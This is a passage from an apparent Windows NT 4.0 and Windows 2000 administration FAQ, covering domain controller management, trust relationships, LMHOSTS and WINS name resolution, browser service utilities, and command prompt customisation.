  6. Once the machine has rebooted start Server Manager (Start - Programs - Administrative Tools - Server Manager), if the old name still appears as a Backup, or if there is no entry for the new name:
    - Create an entry for the new name. To do this, select Add to Domain in the Computer menu of Server Manager.
    - Add the new computer account as a "Windows NT Backup Domain Controller" (it will be added and displayed as a Primary).
    - Remove the old name by selecting the entry. To do this, select Remove from Domain on the Computer menu.

To Rename a Backup Domain Controller

  1. Log onto the PDC as an Administrator and in Server Manager (Start - Programs - Administrative Tools - Server Manager) add an account for the BDC's new name
  2. Log onto the BDC as an Administrator
  3. Start the Network Control Panel Applet (Start - Settings - Control Panel - Network)
  4. Click the Identification tab.
  5. Click the Change button and enter in the new computer name and click OK
  6. Restart the BDC for the name change to take effect. The NETLOGON service will not yet start on this server.
  7. On the PDC, open Server Manager. Select the new BDC name and from the Computer menu, choose Synchronize With Primary. This will start the NETLOGON service.
  8. In Server Manager, select the old BDC name from the list and from the Computer menu, choose Remove From Domain.

Note: If the BDC begins to receive 7023 or 3210 errors after synching the domain in server manager, on the PDC choose the BDC and then synch that specific BDC with the PDC. After an event indicating that the synch is complete, restart the BDC.


Q. Can I move a BDC to another domain?

A. Normally no, the BDC shares a common SID with the PDC of the domain and so there is no way to move a BDC to another domain, you would need to reinstall the BDC.

System Internals have released NewSID 3.0 ( from http://www.sysinternals.com) which has a SID-synchronizing feature that let's you have one machine copy the SID of another. This makes it possible to move a BDC to a new domain. On the BDC start NewSID and click "Synchronize SID", enter the name of the PDC and click OK.


Q. Can I change a PDC/BDC into a stand-alone server?

A. No, the PDC/BDC registry is different from that of a stand alone server, again a reinstallation would be needed.

As an alternative, you can use a 3rd party utility called U-Promote, http://u-tools.com/UTools/UPromote.asp however this works by making registry changes that would render your system unsupportable by Microsoft and may lead to problems later in the servers life time, for example moving to Windows 2000.

In Windows 2000 you can change a domain controller to a normal server by running DCPROMO.EXE.


Q. Can I administer my domain from an NT Workstation?

A. Yes, if you install the NT Server client based Administration tools:

  1. Insert the NT Server CD-ROM into your NT Workstation
  2. Run the file <CD-ROM drive>:\clients\srvtools\winnt\setup.bat. This will detect you processor and install the correct images into the %SystemRoot%\System32 folder. You will have to press return.
  3. Remove the CD-ROM
  4. You now need to create shortcuts either on the desktop or start menu for the applications:
    - dhcpadmn.exe --- DHCP Manager
    - poledit.exe --- System Policy Editor
    - rasadmin.exe --- Remote Access Administrator
    - rplmgr.exe --- Remoteboot Manager
    - srvmgr.exe --- Server Manager
    - usrmgr.exe --- User Manager for Domains
    - winsadmn.exe --- WINS Manager


Q. In what order should I upgrade my PDC and BDC's from 3.51 to 4.0?

A. The two different versions can coexist happily so you can upgrade in order you want however the safest option may be the following schedule:

  1. Upgrade a BDC from 3.51 to 4.0
  2. Leave it for a week and check it is OK
  3. Promote the BDC to the PDC
  4. Leave for another week and check everything is OK
  5. Upgrade the other BDC's to 4.0
  6. Promote the old PDC back to the main PDC (the current PDC will automatically be demoted to a BDC)


Q. What tuning can I perform on PDC/BDC Synchronization?

A. There are several registry settings that can be configured for PDC/BDC Synchronization :

These are all values under HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Netlogon\Parameters

ChangeLogSize (REG_SZ) | Default size for the Change Log. By default 64KB with a maximum of 4MB
Pulse | This determines the gap in seconds between replication from the PDC to the BDC's. The lowest value is 60, and the max is 3600 (1 hour). The default is 300 (5 minutes). You may want to increase this time if the BDC's are over a slow WAN link.
PulseConcurrency | The number of BDC's that the PDC sends pulses to concurrently. By default this is 10.
PulseMaximum | The PDC performs a check that the BDC's are still there every so often. This is in seconds and once again the minimum is 60 and the maximum is 86,400.
Randomize | The number of seconds a BDC waits after an announcement before answering. 1 by default.
ReplicationGovernor | This is a percentage of the 128K blocks that are sent. If you had a slow link you may not want the PDC sending 128K blocks so you could change this to 25, meaning only 32K would be sent at a time. This will mean that the blocks are sent more frequently (25 would mean 4 times as often).
Update | By default this is set to no, which means only changes are replicated. Setting this to Yes will cause everything to be replicated even if there is no change. This needs to be set on the import server.


Q. I cannot add a BDC over a WAN.

A. To add a BDC to a domain, the PDC has to be contactable. Therefore the first task is to check that communications are working.

If you are using TCP/IP then ensure you can PING the PDC,

ping <ip address of the PDC>

If this is OK then the problem is at the NetBIOS level. If you have WINS on the network ensure the BDC is configured to use the WINS server as when the PDC starts it will register the WINS name <domain><1Bh> which is used to identify the domain controller.

Alternatively the LMHOSTS file can be updated.

  1. Start Notepad
  2. Open the file <systemroot>\system32\drivers\etc\lmhosts
  3. Add a line with the following syntax
    <IP address> <machine name> #PRE #DOM:<domain name>
  4. Save the file

To use the lmhosts file during installation you should create the file on another machine and copy it over when the BDC is being installed.


Q. How can I synchronize the domain from the command line?

A. To force a domain synchronization use the command

net accounts /sync


Q. How can I force a client to validate its logon against a specific domain controller?

A. Before answering this it is best to understand what happens when a login occurs.

When a logon request is made to a domain, the workstation sends out a request to find a domain controller for the domain. The domain name is actually a NetBIOS name that is a 16-character name with the 16th character used by Microsoft networking services to identify the NetBIOS type.

The type used for a domain controller is <1C> and so the NetBIOS name for domain controller of domain "SAVILLTECH" would be "SAVILLTECH <1C>" The NetBIOS type has to be the 16th character, hence the name of the domain has to be filled with blanks to make its length up to 15 characters.

If the client is WINS enabled then a query for the resolution of "<domain name> <1C>" will be sent to the WINS server as defined in the clients TCP/IP properties. The WINS server will return up to 25 IP addresses that correspond to domain controllers of the requested domain, a \mailslot\net\ntlogon is broadcast to the local subnet and if the workstation receives a response then it will attempt logon with the local domain controller.

If WINS is not configured then it is possible to manually configure the LMHOSTS file on the Workstations to specify the Domain Controller. This file is located in the %systemroot%\system32\drivers\etc directory.

An example entry in LMHOSTS would be as follows

200.200.200.50 titanic #PRE #DOM:savilltech #savilltech domain controller

The above sets up IP address 200.200.200.50 to be host Titanic, which is the domain controller for savilltech and instructs the machine that this entry is to be preloaded into the cache.

To check the NetBIOS name cache you can use command nbtstat -c, which will show all the entries including their type. If WINS is not configured and there is no entry in LMHOSTS then the Workstation will send out a series of 3 broadcasts. In the situation where no response is received and WINS is configured to use DNS for WINS resolution a request to the DNS server will be sent and finally the HOSTS file checked. If all of this fails then an error "A domain controller for your domain could not be contacted.

To force a client to use a specific domain controller we need only do the following:

  1. Start the registry editor
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters
  3. From the Edit menu select New - DWORD value
  4. Enter a name of NodeType and press ENTER
  5. Double click on the new value and set to 4 (this sets the network to an M-mode/mixed which means it will perform a broadcast before querying name servers for resolution). By default a system is 1 if no WINS servers are configured (B-node/broadcase) or 8 if at least one WINS server is configured (H-node/queries name resolution first then broadcasts)
  6. Double click on the EnableLMHOSTS value and set to 1. If it does not exist select New - DWORD value from the Edit menu and enter a name of EnableLMHOSTS
  7. Close the registry editor
  8. Reboot the machine

The machine is now configured to broadcase for a domain controller on a local subnet and then query a name server. If no domain controllers are found on the WINS server, or WINS is not used it will then search the LMHOSTS file. The next stage is to edit this file.

  1. Check for the LMHOSTS file
    C:\>dir %systemroot%\system32\drivers\etc\lmhosts
  2. If the file does not exist copy the sample host file
    C:\>copy %systemroot%\system32\drivers\etc\lmhosts.sam %systemroot%\system32\drivers\etc\lmhosts
    1 file(s) copied.
  3. Edit the file using edit.exe, don't use notepad.exe
    C:\>edit %systemroot%\system32\drivers\etc\lmhosts
  4. Goto the end of the comments and add a new line of the format
    <ip address> <name of DC> #PRE #DOM:<domain name> #<comment>
    e.g. 200.200.200.50 titanic #PRE #DOM:savilltech #savilltech domain controller
  5. Save the changes to the file and exit edit.exe
  6. Force the machine to reload the LMHOSTS file (or just reboot)
    C:\>NBTSTAT -R
    Note: The -R must be in capitals, the command is case sensitive
  7. Check the cache
    C:\>NBTSTAT -c
  8. At this point the configuration is complete and a reboot is advisable.

Service Pack 4 includes a new utility, SETPRFDC.EXE, which will direct a secure channel client to a preferred list of domain controllers.

The syntax is:

C:\> SETPRFDC <Domain Name> <DC1, DC2, ....., DCn>

SETPRFDC will try each DC in the list in order, until a secure channel is established. If DC1 does not respond, DC2 is tried, and so on. Once you run SETPRFDC on a WinNT 4.0, SP4 computer, the list is remembered until you change it. You can run SETPRFDC in batch, via the scheduler, or even in a logon script (for future logons). Don't forget to undo any LMHOSTS entries you might have set.


Q. How do I promote a server to a domain controller?

Q. How do I promote a server to a domain controller? - Windows 2000 only

A. Windows 2000 ships with a utility, DCPROMO.EXE, which is used to promote a stand-alone/member server to a domain controller and vice-versa.

In Windows 2000 domains are DNS names which means you can have a hierarchy of domains leading to parent-child domain relationships. The advantage of these parent-child relationships is that there have a bidirectional transitive trust which means that if domain b is a child of domain a, and domain c is a child of domain b, domain c implicitly trusts domain a. This is very different from the way trusts work in earlier versions of Windows NT.

Since Windows 2000 domains rely on DNS it is vital that DNS is correctly configured to enable the domain to be created (if you are creating a new top level domain). Information on configuring DNS for a domain can be found here.

A final pre-requisite is that an NTFS 5.0 volume is required to house the SYSVOL volume and so ensure you have at least one NTFS 5.0 volume (use CHKNTFS to check the versions of your partitions).

To upgrade a stand-alone/member server to a domain controller perform the following:

  1. Start the DCPROMO utility (Start - Run - DCPROMO)
  2. Click Next to the introduction screen
  3. You will have a choice to "New domain" or "Replica domain controller in existing domain". There is no concept of a BDC in NT 5.0 and all domain controllers are equal (more or less :-) ). Select New Domain and click Next
  4. A new concept is trees which enable the idea of child domains. If you are starting a new top level domain select "Create new domain tree", to create a child domain select "Create new child domain". Click Next
  5. If you selected to create a new domain tree you will be asked if you want to "Create a new forest of domain trees" or "put this new domain tree in an existing forest". Forests enable you to "join" a number of separate domain trees and again a transitive trust relationship is created between them. If this is your first NT 5.0 domain tree you should create a new forest. Click Next
  6. You will then be asked for the DNS name of your domain, e.g. savilltech.com is a valid domain name. It is important this matches information configured on the DNS server. Click Next
  7. You will then be asked for a NetBIOS domain name which by default will be the left most part of the DNS domain name (up to the first 15 characters), e.g. savilltech, however this can be changed. Click Next to continue.
  8. You will then have to provide a storage area for the Active Directory and the Active Directory log. Except the defaults and click Next
  9. Finally you must select an area on an NTFS 5.0 partition for the SYSVOL volume for storage of the servers public files, %systemroot%\SYSVOL by default. Click Next
  10. An option to weaken security for pre-Windows 2000 services such as a 4.0 RAS server. Select your option and click Next
  11. You will be asked for an Administrator password to be used in Directory Server restore mode. Click Next
  12. A summary screen will be displayed and click Next to start the upgrade. It sets security and creates the Directory Server schema container. Information from the default directory service file and the old SAM is then read in if the machine is an upgraded PDC.
  13. You should then click Finish and reboot the machine.

You now have a Windows 2000 domain controller. Additional domain controllers (old BDC's) can be added by performing the above and selecting "Replica domain controller in existing domain" in step 3. It would then ask you the name of the domain to replica.


Q. How can I generate a list of all computer accounts in a domain?

A. The normal method under Windows NT 4.0 and earlier is to use Server Manager (Start - Programs - Administrative Tools - Server Manager) and computer accounts can be viewed/added/deleted.

Under Windows NT 5.0 this information can be viewed using the Active Directory MMC (Microsoft Management Console) snap-in and browse the domain/Computers group. Of course under Windows NT 5.0 and the Active Directory computers can also be created in Organisation Units so would not all be shown under this tree (as shown below the computer account in the law OU would not be listed in the Computers group).

Active Directory computer list

A more complete method is to use the Windows NT Resource Kit NETDOM.EXE utility (which runs under Windows NT 5.0) to generate the list, e.g.

C:\> netdom member
Searching PDC for domain SAVILLTECH ...
Found PDC \\TITANIC
Listing members of domain SAVILLTECH ...

Member 1 = \\ODIN
Member 2 = \\garfield

It is also possible to list other domains using a mixture of command line switches, e.g.

C:\> netdom /d:<domain name> [/u:<domain>\<user to which query> /p:<password] member

The information in the [] is only needed if your account does not have privileges in the requested domain.

The advantage of the command line tool is it lists all computer accounts, even those in OU's in the Active Directory.

An alternative method is to use the net view /domain:<domain> command which has the advantage that you can pipe the output to a file or another command, e.g.

C:\> net view /domain:savtech


Q. How can I verify my Windows 2000 domain creation?

Q. How can I verify my Windows 2000 domain creation? - Windows 2000 only

A. To verify the tcp/ip configuration is OK check for the ldap.tcp.<domain> service record, e.g. ldap.tcp.savilltech.com

C:\> nslookup
> set type=srv
> _ldap._tcp.savilltech.com
Server: [200.200.200.50]
Address: 200.200.200.50
_ldap._tcp.savilltech.com SRV service location:
priority=0
weight=0
port=389
svr hostname=titanic.savilltech.com
titanic.savilltech.com internet address=200.200.200.50

The ldap record used to be ldap.tcp.<domain> but was modified in build 1946 onwards. The underscore is necessary to definitively differentiate our unique names in the DNS namespace from internic registered domain names on the internet. In this way we can ensure that there will never be a DNS name clash. My understanding is that RFC 1034\1035 (may be wrong with these numbers as they may have been superceded) say that the underscore character is NOT a valid character to use in a DOMAIN NAME. All internet registered names should never contain the underscore. Now, RFC2181 states that the underscore is a valid label to use in DNS (as well as plenty of other characters too) so we the underscore is used to prevent possible clash with INTERNET names. This change was introduced in earlier builds of windows 2000. For a while DC's generated both styles of names in DNS to support both styles of clients (ie newer and older builds). Now that client code is changed to look for underscores, we have now retired the ldap.tcp names in favour of the _ldap.tcp names.

Also make sure the NetBIOS computer name is OK

C:\> net view \\<computer name>

Finally check the NetBIOS Domain name works

C:\> usrmgr <domain name>

The NetBIOS domain name is used for backwards compatibility. Use a 4.0 version of usrmgr.


Q. How can I configure multiple Logon Servers with LMHOSTS?

A. Service Pack 4 adds support for multiple domain controllers for a single domain to be configured in the LMHOSTS file (located in %systemroot%\system32\drivers\etc). Normally when a computer starts, the WINS server is queried for any [1C] entries, domain controllers, and it will return a list. This list is not geographically aware and you could be given a domain controller on the other side of the world.

An alternative is to specify a list of domain controllers in the LMHOSTS file (which is now checked before WINS is #PRE is in the entry) and have different LMHOSTS files in different regions.

Example entries in the file would be

200.200.200.50 titanic #PRE #DOM:SAVILLTECH
200.200.200.80 cuttysark #PRE #DOM:SAVILLTECH

You will need to ensure the computer is configured to use the LMHOSTS file

  1. Right click on Network Neighborhood and select Properties
  2. Select the Protocol's tab
  3. Select "TCP/IP Protocol" and click Properties
  4. Select "WINS address"
  5. Check the "Enable LMHOSTS Lookup" box
  6. Click Apply then OK
  7. You will need to restart the computer


Q. Are trust relationships kept when upgrading for a 4.0 domain to a Windows 2000 domain?

A. When a 4.0 PDC is upgrade to Windows 2000 all trust relationships are maintained.


Q. How are trust relationships administered in Windows 2000?

A. Instead of using User Manager as in NT 4.0, a new MMC snap-in, Active Directory Tree Manager is used. Although the host application is different the usage is exactly the same.

To view/add/remove perform the following:

  1. Start the Domain Tree Manager (Start - Programs - Administrative Programs - Domain Tree Management)
  2. Expand the root and right click on the domain
  3. Select Properties from the displayed context menu
  4. Select the Trusts tab and add/view as required.
  5. Click Apply then OK

Windows 2000 trusts
- Example of one domain that trusts ours

Obviously you should try and use the tree and forest concept rather than manual trust relationships with pure Windows 2000 domains. This is discussed in the Active Directory section (which will be added shortly).


Q. I can't promote a BDC to PDC.

A. If you receive an 'Access Denied' message when attempting to promote a BDC to the PDC it may be due to the fact the PDC has Service Pack 4 installed.

This is because Service Pack 4 upgraded the security mechanism used so you will either have to perform the promotion from a Service Pack 4 domain controller or upgrade the BDC in question to SP4.

Another reason for this error is trying to get a renamed and upgraded (3.51 to NT4) server to sync with the domain. The accounts database may have become out of date and thus couldn't be synchronised. NETLOGON may not even be startable.

The way round is to do a "connect as" from the PDC to the rogue BDC using an admin ID known to be good by the BDC before it was upgraded. Once the "connect as" (say to Cc) was accepted, the BDC would then accept the synchronise request from the PDC's Server Manager, restarting NETLOGON in the process.


Q. Unable to join a domain because of SMB signing, what can I do?

A. If the following error message is displayed when you attempt to add a computer running Windows NT to the domain:

"Unable to connect to the domain controller for this domain. Either the username or password entered is incorrect."

The error message is displayed even though networking is enabled and the correct administrator name and password credentials were supplied. The problem is that the PDC has SMB signing set to required and the client cannot communicate as it does not have SMB signing enabled.

Two options are possible. The first is to disable RequireSecuritySignature SMB signing on the domain controller as described in Q. How do I enable SMB signing? or install the machine into a workgroup, enable SMB signing then join the domain. Of course this would not work with BDC's.


Q. How can I create a child domain?

A. Windows 2000 allows the creation of a domain as a child of another domain. When two or more domains are joined in a parent-child relationship a domain tree is formed.

A child domain is created when executing the DCPROMO.EXE image and the parent domain must be accessible to create.

  1. Install Windows 2000 on the machine
  2. Ensure the machine has TCP/IP and DNS configured correctly
  3. Execute DCPROMO
  4. Click Next to continue the upgrade
  5. Select 'Domain controller for a new domain' and click Next
  6. Select 'Create a new child domain in an existing domain tree' and click Next
  7. Enter a Username, password and domain you will be using to join the domain tree. This account must reside in the parent domain a domain in the forest you are joining. Click Next
  8. Select the parent domain name by selecting Browse, e.g. savilltech.com. Enter the child domain (just the left most part), e.g. legal. The new complete name will be shown, e.g. legal.savilltech.com. Click Next
  9. If this is a new domain controller enter a NetBIOS name for backwards compatibility. By default it will be the left most 15 characters of the DNS domain name (up to the first .). If you are upgrading an existing DC then the NetBIOS name cannot be changed. Click Next
  10. Database and log locations will be shown. Click Next
  11. The System Volume area will be shown. Click Next
  12. An option to weaken security for 4.0 RAS servers. Select your option and click Next
  13. A summary will be shown. Click Next
  14. The new domain creation will begin
  15. Click Finish and reboot the machine

Instead of performing screenshots I've produced an animated GIF of the entire child domain creation (I was bored ;-) ). Click Refresh to make it start from the beginning, a gap of 2 seconds is shown between each screen.

Child domain creation


Q. How can I create a domain trust through a firewall?

A. When creating trust relationships communications between the two domains is carried out over a number of protocols with each protocol using different TCP/IP port. Below is a list of ports which need to be enabled on the firewall for a trust relationship:

  • PORT 135 (TCP or UDP) for Remote Procedure Call(RPC)Service
  • PORT 137 (UDP) for NetBIOS Name Service
  • PORT 138 (UDP) for NetBIOS datagram (Browsing)
  • PORT 139 (TCP) for NetBIOS session (NET USE)
  • ALL PORTS above 1024 for RPC Communication

You may use LMHOSTS for name resolution (which would have #pre #dom entries for the domain controllers) or WINS can be used which requires:

  • PORT 53 (TCP and UDP) for DNS
  • PORT 42 (TCP and UDP) for WINS Replication

Alternatively, a trust can be established through point-to-point tunneling protocol (PPTP). For PPTP, the following ports must be enabled:

  • PORT (TCP) 1723 for PPTP
  • IP PROTOCOL 47 (GRE)

If you only wish to perform management through a firewall and/or RRAS you can only allow TCP any-139, TCP 139-any and UPD 138-138 through the firewall. Also allow UDP 137-137 to the WINS Servers. This allows all the remote management tools to run from the management NT Workstations.

Also see the following knowledge base articles:

  • Q167128 SMS: Network Ports Used by Remote Helpdesk Functions
  • Q174395 Event ID 4202 Attempting WINS Replication across Router


Q. How can I check the browse masters for a domain?

A. The resource kit has a utility BROWSTAT.EXE which allows status of the browse service to be ascertained. To check browse masters for a domain use the following command:

C:\> browstat status <domain>

To check statistics for a single server use the command

C:\> browstat stats \\<server>


Q. How can I stop a remote master browser?

A. The resource kit utility BROWSTAT can be used to remotely stop a browse master with the following command:

C:\> BROWSTAT TICKLE <transport> <domain> | \\<server name>

Where <transport> is the Windows NT transport device name, and <domain> is the domain in which the master browser is located, and <server name> is the computer name of the master browser.

To check which transport use the command:

C:\> net config rdr
Workstation active on NetbiosSmb (000000000000) NetBT_Tcpip_{C2F....

The transport device is indicated by '<network service>_<NIC type>', where <network service> is the session-layer network service, and <NIC type> is the type of network interface card on your computer. The session-layer network services are NetBT for NetBIOS over TCP/IP, NwlnkNb for IPX, or Nbf for NetBEUI, e.g. NetBT_Tcpip.

C:\> browstat tickle NetBT_Tcpip_{C2F8C130-F2AF-11D2-B748-DAEDF5F58140} \\titanic


Q. How can I force a browser election?

A. The resource kit utility BROWSTAT can be used to force a browser election:

C:\> BROWSTAT ELECT <transport> <domain> | \\<server name>

Where <transport> is the Windows NT transport device name, and <domain> is the domain in which the master browser is located, and <server name> is the computer name of the master browser.

To check which transport use the command:

C:\> net config rdr
Workstation active on NetbiosSmb (000000000000) NetBT_Tcpip_{C2F....

The transport device is indicated by '<network service>_<NIC type>', where <network service> is the session-layer network service, and <NIC type> is the type of network interface card on your computer. The session-layer network services are NetBT for NetBIOS over TCP/IP, NwlnkNb for IPX, or Nbf for NetBEUI, e.g. NetBT_Tcpip.

C:\> browstat elect NetBT_Tcpip_{C2F8C130-F2AF-11D2-B748-DAEDF5F58140} savilltech


Q. How can I modify the domain refresh interval?

A. Windows refreshes the domain list whenever the machine is locked for more than two minutes (120 seconds). This can lead to a delay while it does this until the user gets control of the system again.

You can modify the amount of time it waits until refreshing by performing the following:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
  3. Double click on DcacheMinInterval (or if it does not exist create of type REG_DWORD)
  4. Modify between 120-86400 seconds
  5. Click OK
  6. Close the registry editor
  7. Restart the computer


Q. How is the list of cached domains stored?

A. When you logon a list of known (trusted) domains are displayed that you may logon to.

You can view these entries by performing the following:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\DomainCache
  3. You will be able to see all known domains
  4. Close the registry editor

There is no point editing this list as it will be recreated the next time the machine is started/locked.


Q. How can I disable trust password changes?

A. After a trust is established using a defined password it is changed automatically every seven days. If this password change is missed two cycles running then the trust is broken. This also applies to machines in a domain who have a secure channel with the domain controller and change their passwords every 7 days on NT 4.0 and for Windows 2000 every 30 days.

To disable the trust password changes perform the following change on the domain controllers/workstations:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters
  3. Double click on DisablePasswordChange
  4. Set to 1
  5. Click OK
  6. Close the registry editor

Another option to stop the computer account password changes is to refuse the change at the domain controller:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters
  3. From the Edit menu select New - DWORD value
  4. Enter a name of RefusePasswordChange
  5. Double click on the new value and set to 1
  6. Click OK
  7. Close the registry editor


Q. How can I change the password change for computer/trust accounts?

A. The default interval for password changes for a computer/trust account can be modified as follows:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters
  3. From the Edit menu select New - DWORD value
  4. Enter a name of MaximumPasswordAge
  5. Double click the new value and set to the number of days
  6. Click OK
  7. Close the registry editor

In NT 4.0 this value is only available for machines with Service Pack 4 and for all versions of Windows 2000. Values can be in the range of 1 to 1,000,000.


Q. The list of domains in the logon box is not updated, what can I do?

A. The list of trusted domains should be updated whenever a trust relationship is terminated or created but this is not always the case.

To clear the machines cache of domains perform the following:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
  3. Delete the DCache and DCacheUpdate values
  4. Close the registry editor
  5. Restart the computer


Q. Is it possible to administer a 4.0 domain from a Windows 2000 machine?

A. Many utilities used to administer an NT 4.0 domain do not come with Windows 2000 or work in a different way, however you could copy over the NT 4.0 administration utilities to a Windows 2000 machine and administer the domain with no adverse effects.

Have a look at 'Can I administer my domain from an NT Workstation?' which gives you a quick way to install the tools.


Q. How can I configure the command prompt?

A. When you are in a cmd.exe session, it is possible to change the prompt to display other information, such as time, date, OS version etc. To change the prompt just use

prompt <text>
e.g. prompt johns prompt

While basic text will work it is not very helpful, and below is a list of all the codes you can use

$A | & Ampersand
$B | | Pipe
$C | ( Open parenthesis
$D | Current date
$E | Escape code (ASCII code 27)
$F | ) Close parenthesis
$G | > greater-than sign
$H | Backspace (erases previous character)
$L | < Less-than sig
$N | Current drive
$P | Current drive with path
$Q | = Equal sign
$S | Space
$T | Current time
$V | Windows NT version number
$_ | Carriage return and linefeed
$$ | $ sign

If you have command extensions, you can also use

$+ Zero or more + characters depending on the depth of the PUSHD directory stack
$M Displays the remote name associated with the current drive letter


Q. How do I enable/disable command extensions?

A. When you use CMD.EXE, there are various extensions which are enabled by default. To enable/disable perform the following

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_CURRENT_USER\Software\Microsoft\Command Processor
  3. Double click on EnableExtensions
  4. Set to 1 for them to be enabled, or set to 0 for extensions to be disabled
  5. Click OK

You can also enable/disable them for a specific command session by using the appropriate qualifier to cmd.exe

cmd /y disables command extensions for this cmd session
cmd /x enables command extensions for this cmd session


Q. What commands can be used to configure the command window?

A. The commands below may be useful:

mode con lines=n - Where n is the number of lines to keep (if n is larger than can fit on the screen a scroll bar will be added)
mode con cols=n - Where n is the number of columns to show (again a scroll bar will be added)


Q. How can I configure a scroll bar on my command window?

A. It is possible to increase the line buffer for the command windows above the normal 25. To change the "history" perform the following:

  • Start a command session (cmd.exe)
  • Right click on the title bar and select Properties
  • Click the Layout tab
  • In the "Screen Buffer Size" section increase the Height value
  • Click OK
  • You will be asked "Apply properties to current windows only" or "Save properties for future windows with same title". Select the later and click OK

You will now see a scroll bar on side of your command window. You would also have seen under the properties you can change the default starting location for command windows.

What the above actually does is create HKEY_CURRENT_USER\Console\E:_WINNT_System32_cmd.exe key with a value ScreenBufferSize where the first part is the buffer height in hexadecimal.


Q. How do I cut/paste information in a command box?

A. To copy the entire contents of a command window, you can maximize the window (Alt - Enter) and press the Print Scrn button. Alternatively:

  1. Right click the title bar
  2. Select Mark from the Edit Menu
  3. Click the left mouse button at the start of the text you wish to copy, and drag until the end of the selection
  4. Press Enter to copy the select, or right click the menu again, and select copy from the Edit menu
  5. To paste right click the menu bar, and select paste from the edit menu.

Alternatively you can enable QuickEdit mode by right clicking on the title bar and selecting properties. Select the options tab and check the "QuickEdit Mode" box. Now you can select text with the left mouse button and just press Enter to copy into the clipboard.

When QuickEdit is turned on, you also can paste into the command box by right clicking with the mouse.

In either mode you can paste by pressing Alt + Enter then E then P.


Q. How do I enable Tab to complete file names?

A. NT has this functionality built in, however by default it is disabled. To enable perform the following

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_CURRENT_USER\Software\Microsoft\Command Processor
  3. Double click on the value CompletionChar
  4. Make sure the base is Hexadecimal and then set the value to 9 and click OK
  5. Close the registry editor
  6. Start a new CMD.EXE session and the change will have taken effect


Q. How do I create a shortcut from the command prompt?

A. There is a utility supplied with the Windows NT Server Resource Kit Version 4.0 Supplement One (phew) called shortcut.exe which can be used to create .lnk files. The application is quite powerful, and allows you to specify not only the resource to link to, but also an icon etc. An example is shown below

shortcut -t "d:\program files\johnsapp\test.exe" -n "Johns App.lnk" -i "d:\program files\johnicon\icon1.ico" -x 0 -d "e:\johns\data"

What does it mean?

-t this is the location of the resource to be linked to
-n the name of the link file to be created
-i the icon file
-x the icon index to use in the icon file
-d the starting directory for the application once started

You can copy shortcut.exe off of the CD with the resource kit, and it is located in <processor>\desktop (e.g. i386\desktop). There are no other files needed, just shortcut.exe.


Q. How can I redirect the output from a command to a file?

A. The most basic use is as follows:

<command> ><file name>
e.g., dir/s >list.txt

However with this errors still get output to the screen, to rectify this use the 2> for the errors, e.g.

<command> ><file name> 2><error file>
e.g. dir/s >list.txt 2>error.txt

If you want the errors and output to goto the same file use the following

<command> ><file name> 2>&1


Q. How can I get a list of commands I have entered in a command session?

A. You can press the up and down arrow keys when in a command session to display your old commands (same as the old DOSKEY software), however if you press the F7 key a list of all the commands entered will be displayed and you can then select the command and press enter to run it.

cmdf7.gif (8671 bytes)

You can configure the history by right clicking on the title bar and selecting the Options tab. Update the "Command History" section.

Other keys you can use are as follows:

F2 | Searchs for a character in the previous command and will display up to that character
F3 | Recalls the last command issued
F8 | Moves backwards through the command history
F9 | Lets yuo return to a command but its number given by F7


Q. How can I start explorer from the command prompt?

A. Enter the command

explorer /e

to start explorer in your current directory, or

explorer .

to bring up the single pane version of explorer.


Q. How can I change the title of the CMD window?

A. By default the title display name is the location of CMD.EXE, however this can be changed using two methods depending on the situation.

If you currently have a command session and you wish to change its title use the title command,

title <title>
e.g. title John Savill's Command Window

Alternativly if you want to start a new command session from an existing command prompt use the start command

start "<title>"
e.g. start "John Savill's Command Window"


Q. What keyboard actions can I take to navigate the command line?

A. Rather than just using the left and right arrows to move one character at a time through the command you can also use the following

Home | Start of the line
End | End of the line
Ctrl+left arrow | Move back one wor
Ctrl+right arrow | Move forward one word
Insert | Toggle between insert and overstrike mode
Esc | Delete current line

You can also use the Tab key to complete filenames for you as described in Q. How do I enable Tab to complete file names?

If you enable QuickEdit on command windows (Right click on the title bar, select properties, Options, QuickEdit Mode) you can select an area of text with the left mouse button, right click on it to copy it to the clipboard and then click the right mouse button again to paste it the current cursor location (reminds me of the good old VT keyboards with the hold key ;-) )


Q. How can I change the default Dir output format?

A. The DIR command has many switches and you can configure your own default behavior for the command instead of the normal format. For example you may want to view the output one page at a time (/p), in lowercase (/l), with files time as their creation rather that last write (/tc) and sorted by extension then name (/oen). Normally you would type

dir /p /l /tc /oen

however this is slightly tedious so to set this as your default perform the following

  1. Start the system control panel applet (Start - Settings - Control Panel - System)
  2. Select the Environment tab
  3. Create the Variable "dircmd" and set the value to your qualifiers, e.g. "/p /l /tc /oen" and click Set
  4. Click Applet then Click OK

dircmd system setting

Any new command session will now use the new dir output format.


Q. How do I pause output from a command to one screen at a time?

A. Just add |more to the end of the command, e.g.

findstr /? |more

would display the help one screen at a time.


Q. How can I increase the environment space for a single command session?

A. While you can update the config.nt with a larger shell= to effect all command sessions, to set the environment space just for a single session, call the command with the /e switch, e.g.

COMMAND /E:2048 MYAPP.EXE

where /e:nnnnn is sets the initial environment size to nnnnn bytes.


Q. How can I stop a process from the command line?

A. Usually to stop a process, you start task manager, select the Processes tab, select the process and click "End Process" however you can also accomplish the same from the command prompt using 2 Resource Kit utilities.

Firstly you need to get a list of all processes on the system and this is accomplished using the tlist.exe utility.

C:\>tlist
0 System Process
2 System
20 smss.exe
26 csrss.exe
34 WINLOGON.EXE
42 SERVICES.EXE
45 LSASS.EXE
72 SPOOLSS.EXE
91 Nettime.exe
64 navapsvc.exe
...
